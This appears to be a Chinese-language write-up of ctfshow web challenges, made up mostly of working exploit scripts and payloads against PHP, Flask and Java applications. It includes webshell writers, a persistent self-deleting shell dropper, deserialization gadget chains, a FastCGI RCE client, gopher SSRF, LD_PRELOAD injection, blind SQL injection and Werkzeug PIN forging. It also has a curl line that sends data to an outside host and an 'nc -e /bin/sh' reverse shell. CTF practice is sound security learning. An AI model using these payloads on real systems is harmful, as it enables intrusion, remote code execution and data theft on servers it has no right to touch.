nothing here
3e858ccd79287cfe8509f15a71b4c45d解出来是ctfshow,$configs实际上就是copy,所以这里实际上执行的就是:
copy(trim($_GET['url']),$_GET['cms']);}
trim($str)
是 PHP 内置函数,用于去除字符串两端的空格和特殊字符,默认情况下会去除空格、制表符、换行符、回车符、垂直制表符等常见的不可见字符,返回处理后的字符串结果,没啥用,所以这里实际上执行的就是把$_GET[‘url’])文件复制到$_GET[‘cms’])路径去,然后没有任何其他过滤。
/*导航条缓存*/
function GuideFidCache($table,$filename="guide_fid.php",$TruePath=0){
global $db,$webdb,$pre;
if($table=="{$pre}sort"&&$webdb[sortNUM]>500){
return ;
$show="<?php \r\n";
//$showindex="<a href='javascript:guide_link(0);' class='guide_menu'>>首页</a>";
$showindex="<a href='\$webdb[www_url]' class='guide_menu'>>首页</a>";
$query=$db->query("SELECT fid,name FROM $table ");
// 带双引号写入变量,并且未过滤。
while( @extract($db->fetch_array($query)) ){
$show.="\$GuideFid[$fid]=\"$showindex".$this->SortFather($table,$fid)."\";\r\n";
$show.=$shows.'?>';
if($TruePath==1){
write_file($filename,$show);
}else{
write_file(ROOT_PATH."data/$filename",$show);
这里使用了双引号写入变量,并且没有任何过滤,直接添加栏目写马即可
$src = file_get_contents('php://input');//使用php伪协议写入
if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) { //matches被赋值为搜索出来的结果
$previewUrl = sprintf(
"%s://%s%s",//类c的输出语言
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',//输出http或者https
$_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']//host,不重要的东西
$previewUrl = str_replace("preview.php", "", $previewUrl);//如果previewUrl也有preview.php则过滤
$base64 = $matches[2];//获取base64数据
$type = $matches[1];//获取base64后缀
if ($type === 'jpeg') {
$type = 'jpg';
}//没什么用的判断
$filename = md5($base64).".$type";//将传入的base64那儿进行md5加密,再添上文件类型
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;//文件存放路径位preveiw/文件名
if (file_exists($filePath)) {//存在即返回存在的路径
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);//不存在就进行base64解密
file_put_contents($filePath, $data);//并且写入文件
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');//返回文件路径
POST /index.php/api/Uploadify/preview HTTP/1.1
Host: 10d34198-db12-45a9-89ab-8dac8ef54435.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: http://10d34198-db12-45a9-89ab-8dac8ef54435.challenge.ctf.show
Connection: close
Referer: http://10d34198-db12-45a9-89ab-8dac8ef54435.challenge.ctf.show/index.php/api/Uploadify/preview
Cookie: _ga=GA1.2.178448525.1671190440; PHPSESSID=qnm7dn426n8jql0ltpq0vcsi92
Upgrade-Insecure-Requests: 1
data:image/php;base64,PD9waHAgc3lzdGVtKCJjYXQgL2YqIik7ID8+
然后访问给的那个地址就行了,这里直接解析data协议然后把内容写进php了
import requests
url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
data1={'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file = 'shell.php';\\$code = '<?php @eval(\\$_POST[1]);?>';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
r=requests.post(url+'?action=cmd',data=data1)
requests.get(url+'a.php',timeout=(1,1))
except:
requests.get(url+'?action=check')
r=requests.post(url+'shell.php',data={'1':'system("cat /f*");'})
print(r.text)
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir
常见命令执行没啥戏了,但还是有办法读文件:
code=print_r(scandir('./'));
// /flag
function DefenderBonus($Pokemon){
if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
else{
return $Pokemon;
function ghostpokemon($Pokemon){
if(is_array($Pokemon)){
foreach ($Pokemon as $key => $pks) {
$Pokemon[$key] = DefenderBonus($pks);
else{
$Pokemon = DefenderBonus($Pokemon);
switch($_POST['myfavorite'] ?? ""){
case 'picacu!':
echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'squirtle':
echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'mewtwo':
$dream = $_POST["dream"] ?? "";
if(strlen($dream)>=20){
die("So Big Pokenmon!");
ghostpokemon($dream);
echo shell_exec($dream);
简单来说,就是用那个mewtwo然后bypass执行,但这里基本上能过滤的都过滤完了,很难执行命令。但通过百度,还是发现原来还有个od没禁,而od正好能执行命令。
url///index.php?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A6%3A%22system%22%3B%7D%7D
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
过滤了很多东西,比如ph*,比如字母数字取反符啥的,但没过滤异或,所以先上传.htaccess,再上传个其他后缀的文件把它执行形式变成php即可,抄的脚本:
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.cc"
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
url = "http://a98d884f-c253-45d9-acdb-3a58d31393e5.challenge.ctf.show/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.cc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
import base64
import string
url="http://2709cb1d-3807-4cdc-8de4-9c45ce862e62.challenge.ctf.show/"
s=string.ascii_letters+string.digits
answer=''
for i in range(1,10):
print(i)
for j in s:
#payload="?answer=1'||if(substr(database(),{0},1)='{1}',1,0)%23".format(i,j)
payload="?answer=1'||if(substr(answer,{0},1)='{1}',1,0)%23".format(i,j)
u=url+payload
r=requests.get(u)
if("Wrong" in r.text):
answer+=j
print(answer)
break
<!-- CTFSHOW hint:
$_SESSION['cmd'] = $cmd;
if(!preg_match("/[0-9]|[a-z]/i",$_SESSION['cmd'])){
system($cmd);
无字母数字rce,这都打烂了,而且这还是青春版,除了字母数字啥过滤都没有的那种,不过这里是system不是eval,导致有些方法不行了,那就用p牛那个利用glob通配符执行命令即可,偷的脚本:
import requests
url="http://2b374eac-d8ff-4d0d-856b-eb66399d52e4.challenge.ctf.show/flag.php"
data={'cmd':'. /???/????????[?-[]'}
headers={'Cookie':'PHPSESSID=53964734d4bc928487088a2fbdf83b13'}#填自己的
files={'file':'cat /f*'}
while True:
response=requests.post(url,files=files,data=data,headers=headers)
html = response.text
if "ctfshow{" in html:
print(html)
break
public static function checkFile(&$page)
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
if (in_array($page, $whitelist)) {
return true;
$_page = mb_substr(
$page,
mb_strpos($page . '?', '?')
if (in_array($_page, $whitelist)) {
return true;
$_page = urldecode($page);
$_page = mb_substr(
$_page,
mb_strpos($_page . '?', '?')
if (in_array($_page, $whitelist)) {
return true;
echo "you can't see it";
return false;
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
linux中source.php?可以被当作目录,然后目录穿越即可
?file=source.php?../../../../../../../ctfshowflag
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
echo "Hello Hacker! Have a look around.\n";
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
list($k1,$k2) = [$k2, $k1];
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
$b = "2";$a="b";//;1=b
if($$a !== $k1){
die("lel no\n");
// plz die now
assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");
echo "Good Job ;)";
// TODO
// echo $flag;
漫长的代码审计工作,一段一段绕吧。
@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
die('Wow so rude!!!!1');
data协议来绕过即可,印象里做寒假考核时就遇到过了
msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==
if(intval($k1) !== $cc || $k1 === $cc){
die("lol no\n");
因为这里是”===”,是强比较,所以用key1=1337a即可
if(strlen($k2) == $bb){
if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
if($k2 == $cc){
@$cc = $_GET['cc'];
简单来说就是要长度为42且不是数字,而且还要以数字+$开头,最后满足$k2 == $cc。往1337前加0即可:
key2=000000000000000000000000000000000001337$
if(substr($cc, $bb) === sha1($cc)){
foreach ($_GET as $lel => $hack){
$$lel = $hack;
这种一眼看上去不能满足的应该立刻联想到让他们为空或者报错
cc[]=1
$b = "2";$a="b";//;1=b
这个整蒙了,你们可以自己下去试试,不过我们可以找个在线平台看看它到底是干啥的。
if($$a !== $k1){
die("lel no\n");
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
'flask.app',# 默认值
'Flask',# 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
private_bits = [
'2485377581187',# /sys/class/net/eth0/address 16进制转10进制
#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
'653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
phar文件包含,即使是压缩后还是可以用phar协议执行php代码
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
import requests
url="http://76aa7571-0a18-46f1-99fc-3b8fcbb4d36f.challenge.ctf.show/index.php"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file)){
unlink($file);
}else{
file_put_contents($file,$content);
$phar = new Phar('poc.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($t);
$phar->stopBuffering();
import requests
url="http://47d5b4bf-9dc6-4aa8-93f1-6d42cf431490.challenge.ctf.show/index.php"
data1={'file':'/tmp/a.phar','content':open('poc.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar','content':'123'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
session=requests.session()
sess='yu22x'
url1="http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/"
url2='http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/?file=/tmp/sess_yu22x'
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
data2={
'1':'echo 11123;system("cat /*");',
file={
'file':'1'
cookies={
'PHPSESSID': sess
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if '11123' in r.text:
print(r.text)
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write).start()
for i in range(1,30):
threading.Thread(target=read).start()
event.set()
import requests
import re
url = "http://e34a803b-ce00-4e1e-b585-9bda0198fe37.challenge.ctf.show/"
file={
'file':'<?php system("cat /*");?>'
requests.post(url+'?file=php://filter/string.strip_tags/resource=/etc/passwd',files=file)
r=requests.get(url)
#print(r.text)
tmp=re.findall('=> (php.*?)\\n',r.text,re.S)[-1]
r=requests.get(url+'?file=/tmp/'+tmp)
print(r.text)
?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500
web811
error_reporting(0);
highlight_file(__FILE__);
$file = $_GET['file'];
$content = $_GET['content'];
file_put_contents($file, $content);
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=28163, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
response = client.request(params, content)
print(force_text(response))
import requests
url="http://43af8270-3d9e-416a-8fdb-d1fc1115715b.challenge.ctf.show/"
data={'file':'/tmp/hack.so','content':open('hack.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')
import requests
url="http://03e18d36-ea33-478b-8ab2-506f67fb4e3b.challenge.ctf.show/"
data={'file':'/tmp/hack.so','content':open('hack.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')
import requests
url="http://6f1fba1f-43b2-45c8-a34f-cc9c995cde9e.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
files={'file':open('hack.so','rb').read()}
response=requests.post(url,files=files)
web817
$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
shell_exec(shell_exec("cat $file"));
首先这里限制了只能为/字母数字的file,所以不能用日志,一眼顶针虎符ezphp,文件描述/proc/pid/fd/xxx可能存在web日志
import threading, requests
import socket
import re
port= 28108
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1
'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
con="curl http://url:port?a=`cat /f*`;"+'0'*1024*500
l = len(con)
def upload():
while True:
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
x=f'''POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: {l}
Content-Type: application/x-www-form-urlencoded
Connection: close
{con}
'''.encode()
s.send(x)
s.close()
def bruter():
while True:
for fd in range(3,40):
print(fd)
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET /?file=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
Connection: close
'''.encode())
print(s.recv(2048).decode())
s.close()
for i in range(30):
t = threading.Thread(target=upload)
t.start()
for j in range(30):
a = threading.Thread(target=bruter)
a.start()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
l=str(len(open('hack.so','rb').read()+b'\n'*1024*200)).encode()
def upload():
while True:
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
x=b'''POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Content-Length: '''+l+b'''
Content-Type: application/x-www-form-urlencoded
Connection: close
'''+open('hack.so','rb').read()+b'\n'*1024*200+b'''
s.send(x)
s.close()
def bruter():
while True:
for fd in range(3,40):
print(fd)
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Connection: close
'''.encode())
print(s.recv(2048).decode())
s.close()
for i in range(30):
t = threading.Thread(target=upload)
t.start()
for j in range(30):
a = threading.Thread(target=bruter)
a.start()
if(strlen($_FILES['file']['tmp_name'])>0){
$filetype = $_FILES['file']['type'];
$tmpname = $_FILES['file']['tmp_name'];
$ef = getimagesize($tmpname);
if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){
$content = base64_decode(file_get_contents($tmpname));
file_put_contents("shell.php", $content);
echo "file upload success!";
}else{
highlight_file(__FILE__);
会将我们上传的图片base64解码后写入到shell.php中,base64中是4位4位进行解码的,所以我们要在正常的图片加上一句话木马base64编码后的数据,然后因为不知道多少位解码,我们要加上1补码,就一个一个试,一个1不行就两个1,我PD9前面那几个1就是补码
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Base64;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class CC {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"nc yourip -e /bin/sh",}), //这里反弹shell,ip改成你自己vps的
new ConstantTransformer(1)};
//防止payload生成过程中触发,先放进去一个空的Transform
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
